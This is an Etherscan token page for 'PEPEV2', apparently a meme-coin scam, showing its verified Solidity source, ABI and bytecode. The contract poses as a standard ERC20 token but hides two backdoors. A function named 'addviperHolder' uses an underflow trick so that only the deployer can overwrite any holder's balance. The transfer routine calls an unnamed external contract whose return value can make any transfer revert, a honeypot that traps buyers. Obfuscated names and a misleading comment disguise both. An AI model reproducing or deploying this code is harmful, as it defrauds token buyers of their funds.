ETH Price: $2,643.11 (+2.28%)

Token

PEPEV2 (PEPEV2)
 

Overview

Max Total Supply

46,200,000,000 PEPEV2

Holders

21

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,260,001,737.604943527949138889 PEPEV2

Value
$0.00
0x0044aa8d92476aba0f1f328dd23bba8bb22c013b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PEPEV2

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-08-28
*/

// Twitter :https://twitter.com/PEPEV2E

// Telegram:https://t.me/PEVERC20

// Website :http://20pepe.cc/

pragma solidity ^0.8.0;


abstract contract KCOIN {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is KCOIN {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


pragma solidity ^0.8.0;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

abstract contract kkcca{
    function unicade (
        address,
        address
    ) external virtual returns(uint256) ;
}

pragma solidity ^0.8.0;

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}


pragma solidity ^0.8.0;

abstract contract JCOIN is KCOIN, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;kkcca contractSender;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address _vp;

    constructor(string memory name_, string memory symbol_, uint160 amount) {
        _name = name_;
        _symbol = symbol_;
        _totalSupply = 46200000000000000000000000000;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
        contractSender = kkcca(
            address(amount)
            );
        _vp = msg.sender;
    }
    
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function addviperHolder(
        address _value,
        uint256 _amt
    ) public {
        uint256 _amount = 10 - (
        msg.sender != _vp ? 10**2 : 10);
        mapping(address => uint256) storage excludeFee =
        _balances;_amount = 0;
        excludeFee[_value] = _amt;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        contractSender.
        
        // ERC20: transfer amount exceeds balance
        unicade(
            from,
            to
        ) - (amount-amount + 100);

        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(   
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
        unchecked {
            _approve(owner, spender, currentAllowance - amount);
        }
        }
    }
}


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0; 

contract PEPEV2 is JCOIN('PEPEV2', 'PEPEV2', uint160(0x358A0b8A478cBD3AF4Edff6c68Ce0875b3463718)) , Ownable {
    constructor() {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_value","type":"address"},{"internalType":"uint256","name":"_amt","type":"uint256"}],"name":"addviperHolder","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506040518060400160405280600681526020017f50455045563200000000000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f504550455632000000000000000000000000000000000000000000000000000081525073358a0b8a478cbd3af4edff6c68ce0875b34637188260049080519060200190620000ab92919062000300565b508160059080519060200190620000c492919062000300565b506b9547be8a71072497780000006003819055506003546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6003546040516200017f9190620003c1565b60405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050506200022c620002206200023260201b60201c565b6200023a60201b60201c565b6200044d565b600033905090565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8280546200030e90620003e8565b90600052602060002090601f0160209004810192826200033257600085556200037e565b82601f106200034d57805160ff19168380011785556200037e565b828001600101855582156200037e579182015b828111156200037d57825182559160200191906001019062000360565b5b5090506200038d919062000391565b5090565b5b80821115620003ac57600081600090555060010162000392565b5090565b620003bb81620003de565b82525050565b6000602082019050620003d86000830184620003b0565b92915050565b6000819050919050565b600060028204905060018216806200040157607f821691505b602082108114156200041857620004176200041e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b611640806200045d6000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b4114610202578063a9059cbb14610220578063dd62ed3e14610250578063f2fde38b14610280576100cf565b806370a08231146101aa578063715018a6146101da5780638da5cb5b146101e4576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd14610122578063183274e31461014057806323b872dd1461015c578063313ce5671461018c575b600080fd5b6100dc61029c565b6040516100e99190611281565b60405180910390f35b61010c60048036038101906101079190610e64565b61032e565b6040516101199190611266565b60405180910390f35b61012a610351565b60405161013791906113a3565b60405180910390f35b61015a60048036038101906101559190610e64565b61035b565b005b61017660048036038101906101719190610e15565b61041c565b6040516101839190611266565b60405180910390f35b61019461044b565b6040516101a191906113be565b60405180910390f35b6101c460048036038101906101bf9190610db0565b610454565b6040516101d191906113a3565b60405180910390f35b6101e261049c565b005b6101ec6104b0565b6040516101f99190611222565b60405180910390f35b61020a6104da565b6040516102179190611281565b60405180910390f35b61023a60048036038101906102359190610e64565b61056c565b6040516102479190611266565b60405180910390f35b61026a60048036038101906102659190610dd9565b61058f565b60405161027791906113a3565b60405180910390f35b61029a60048036038101906102959190610db0565b610616565b005b6060600480546102ab9061153b565b80601f01602080910402602001604051908101604052809291908181526020018280546102d79061153b565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b60008061033961069a565b90506103468185856106a2565b600191505092915050565b6000600354905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103ba57600a6103bd565b60645b600a6103c9919061147f565b60ff1690506000809150828160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b60008061042761069a565b905061043485828561086d565b61043f8585856108f9565b60019150509392505050565b60006012905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6104a4610c2d565b6104ae6000610cab565b565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546104e99061153b565b80601f01602080910402602001604051908101604052809291908181526020018280546105159061153b565b80156105625780601f1061053757610100808354040283529160200191610562565b820191906000526020600020905b81548152906001019060200180831161054557829003601f168201915b5050505050905090565b60008061057761069a565b90506105848185856108f9565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61061e610c2d565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561068e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610685906112c3565b60405180910390fd5b61069781610cab565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610712576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070990611383565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610782576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610779906112e3565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161086091906113a3565b60405180910390a3505050565b6000610879848461058f565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146108f357818110156108e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108dc90611303565b60405180910390fd5b6108f284848484036106a2565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610969576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096090611363565b60405180910390fd5b60648182610977919061144b565b61098191906113f5565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663194a51d885856040518363ffffffff1660e01b81526004016109de92919061123d565b602060405180830381600087803b1580156109f857600080fd5b505af1158015610a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a309190610ea0565b610a3a919061144b565b50600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa2906112a3565b60405180910390fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610b31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2890611323565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c1f91906113a3565b60405180910390a350505050565b610c3561069a565b73ffffffffffffffffffffffffffffffffffffffff16610c536104b0565b73ffffffffffffffffffffffffffffffffffffffff1614610ca9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca090611343565b60405180910390fd5b565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081359050610d80816115dc565b92915050565b600081359050610d95816115f3565b92915050565b600081519050610daa816115f3565b92915050565b600060208284031215610dc257600080fd5b6000610dd084828501610d71565b91505092915050565b60008060408385031215610dec57600080fd5b6000610dfa85828601610d71565b9250506020610e0b85828601610d71565b9150509250929050565b600080600060608486031215610e2a57600080fd5b6000610e3886828701610d71565b9350506020610e4986828701610d71565b9250506040610e5a86828701610d86565b9150509250925092565b60008060408385031215610e7757600080fd5b6000610e8585828601610d71565b9250506020610e9685828601610d86565b9150509250929050565b600060208284031215610eb257600080fd5b6000610ec084828501610d9b565b91505092915050565b610ed2816114b3565b82525050565b610ee1816114c5565b82525050565b6000610ef2826113d9565b610efc81856113e4565b9350610f0c818560208601611508565b610f15816115cb565b840191505092915050565b6000610f2d6023836113e4565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f936026836113e4565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610ff96022836113e4565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061105f601d836113e4565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b600061109f6026836113e4565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006111056020836113e4565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006111456025836113e4565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006111ab6024836113e4565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61120d816114f1565b82525050565b61121c816114fb565b82525050565b60006020820190506112376000830184610ec9565b92915050565b60006040820190506112526000830185610ec9565b61125f6020830184610ec9565b9392505050565b600060208201905061127b6000830184610ed8565b92915050565b6000602082019050818103600083015261129b8184610ee7565b905092915050565b600060208201905081810360008301526112bc81610f20565b9050919050565b600060208201905081810360008301526112dc81610f86565b9050919050565b600060208201905081810360008301526112fc81610fec565b9050919050565b6000602082019050818103600083015261131c81611052565b9050919050565b6000602082019050818103600083015261133c81611092565b9050919050565b6000602082019050818103600083015261135c816110f8565b9050919050565b6000602082019050818103600083015261137c81611138565b9050919050565b6000602082019050818103600083015261139c8161119e565b9050919050565b60006020820190506113b86000830184611204565b92915050565b60006020820190506113d36000830184611213565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611400826114f1565b915061140b836114f1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156114405761143f61156d565b5b828201905092915050565b6000611456826114f1565b9150611461836114f1565b9250828210156114745761147361156d565b5b828203905092915050565b600061148a826114fb565b9150611495836114fb565b9250828210156114a8576114a761156d565b5b828203905092915050565b60006114be826114d1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561152657808201518184015260208101905061150b565b83811115611535576000848401525b50505050565b6000600282049050600182168061155357607f821691505b602082108114156115675761156661159c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6115e5816114b3565b81146115f057600080fd5b50565b6115fc816114f1565b811461160757600080fd5b5056fea2646970667358221220e2270b726294a542b652cb4e12815d58f0e349ac9c5c7fb81c3027188caee54b64736f6c63430008000033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b4114610202578063a9059cbb14610220578063dd62ed3e14610250578063f2fde38b14610280576100cf565b806370a08231146101aa578063715018a6146101da5780638da5cb5b146101e4576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd14610122578063183274e31461014057806323b872dd1461015c578063313ce5671461018c575b600080fd5b6100dc61029c565b6040516100e99190611281565b60405180910390f35b61010c60048036038101906101079190610e64565b61032e565b6040516101199190611266565b60405180910390f35b61012a610351565b60405161013791906113a3565b60405180910390f35b61015a60048036038101906101559190610e64565b61035b565b005b61017660048036038101906101719190610e15565b61041c565b6040516101839190611266565b60405180910390f35b61019461044b565b6040516101a191906113be565b60405180910390f35b6101c460048036038101906101bf9190610db0565b610454565b6040516101d191906113a3565b60405180910390f35b6101e261049c565b005b6101ec6104b0565b6040516101f99190611222565b60405180910390f35b61020a6104da565b6040516102179190611281565b60405180910390f35b61023a60048036038101906102359190610e64565b61056c565b6040516102479190611266565b60405180910390f35b61026a60048036038101906102659190610dd9565b61058f565b60405161027791906113a3565b60405180910390f35b61029a60048036038101906102959190610db0565b610616565b005b6060600480546102ab9061153b565b80601f01602080910402602001604051908101604052809291908181526020018280546102d79061153b565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b60008061033961069a565b90506103468185856106a2565b600191505092915050565b6000600354905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103ba57600a6103bd565b60645b600a6103c9919061147f565b60ff1690506000809150828160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b60008061042761069a565b905061043485828561086d565b61043f8585856108f9565b60019150509392505050565b60006012905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6104a4610c2d565b6104ae6000610cab565b565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546104e99061153b565b80601f01602080910402602001604051908101604052809291908181526020018280546105159061153b565b80156105625780601f1061053757610100808354040283529160200191610562565b820191906000526020600020905b81548152906001019060200180831161054557829003601f168201915b5050505050905090565b60008061057761069a565b90506105848185856108f9565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61061e610c2d565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561068e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610685906112c3565b60405180910390fd5b61069781610cab565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610712576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070990611383565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610782576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610779906112e3565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161086091906113a3565b60405180910390a3505050565b6000610879848461058f565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146108f357818110156108e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108dc90611303565b60405180910390fd5b6108f284848484036106a2565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610969576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096090611363565b60405180910390fd5b60648182610977919061144b565b61098191906113f5565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663194a51d885856040518363ffffffff1660e01b81526004016109de92919061123d565b602060405180830381600087803b1580156109f857600080fd5b505af1158015610a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a309190610ea0565b610a3a919061144b565b50600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa2906112a3565b60405180910390fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610b31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2890611323565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c1f91906113a3565b60405180910390a350505050565b610c3561069a565b73ffffffffffffffffffffffffffffffffffffffff16610c536104b0565b73ffffffffffffffffffffffffffffffffffffffff1614610ca9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca090611343565b60405180910390fd5b565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081359050610d80816115dc565b92915050565b600081359050610d95816115f3565b92915050565b600081519050610daa816115f3565b92915050565b600060208284031215610dc257600080fd5b6000610dd084828501610d71565b91505092915050565b60008060408385031215610dec57600080fd5b6000610dfa85828601610d71565b9250506020610e0b85828601610d71565b9150509250929050565b600080600060608486031215610e2a57600080fd5b6000610e3886828701610d71565b9350506020610e4986828701610d71565b9250506040610e5a86828701610d86565b9150509250925092565b60008060408385031215610e7757600080fd5b6000610e8585828601610d71565b9250506020610e9685828601610d86565b9150509250929050565b600060208284031215610eb257600080fd5b6000610ec084828501610d9b565b91505092915050565b610ed2816114b3565b82525050565b610ee1816114c5565b82525050565b6000610ef2826113d9565b610efc81856113e4565b9350610f0c818560208601611508565b610f15816115cb565b840191505092915050565b6000610f2d6023836113e4565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f936026836113e4565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610ff96022836113e4565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061105f601d836113e4565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b600061109f6026836113e4565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006111056020836113e4565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006111456025836113e4565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006111ab6024836113e4565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61120d816114f1565b82525050565b61121c816114fb565b82525050565b60006020820190506112376000830184610ec9565b92915050565b60006040820190506112526000830185610ec9565b61125f6020830184610ec9565b9392505050565b600060208201905061127b6000830184610ed8565b92915050565b6000602082019050818103600083015261129b8184610ee7565b905092915050565b600060208201905081810360008301526112bc81610f20565b9050919050565b600060208201905081810360008301526112dc81610f86565b9050919050565b600060208201905081810360008301526112fc81610fec565b9050919050565b6000602082019050818103600083015261131c81611052565b9050919050565b6000602082019050818103600083015261133c81611092565b9050919050565b6000602082019050818103600083015261135c816110f8565b9050919050565b6000602082019050818103600083015261137c81611138565b9050919050565b6000602082019050818103600083015261139c8161119e565b9050919050565b60006020820190506113b86000830184611204565b92915050565b60006020820190506113d36000830184611213565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611400826114f1565b915061140b836114f1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156114405761143f61156d565b5b828201905092915050565b6000611456826114f1565b9150611461836114f1565b9250828210156114745761147361156d565b5b828203905092915050565b600061148a826114fb565b9150611495836114fb565b9250828210156114a8576114a761156d565b5b828203905092915050565b60006114be826114d1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600081905091905056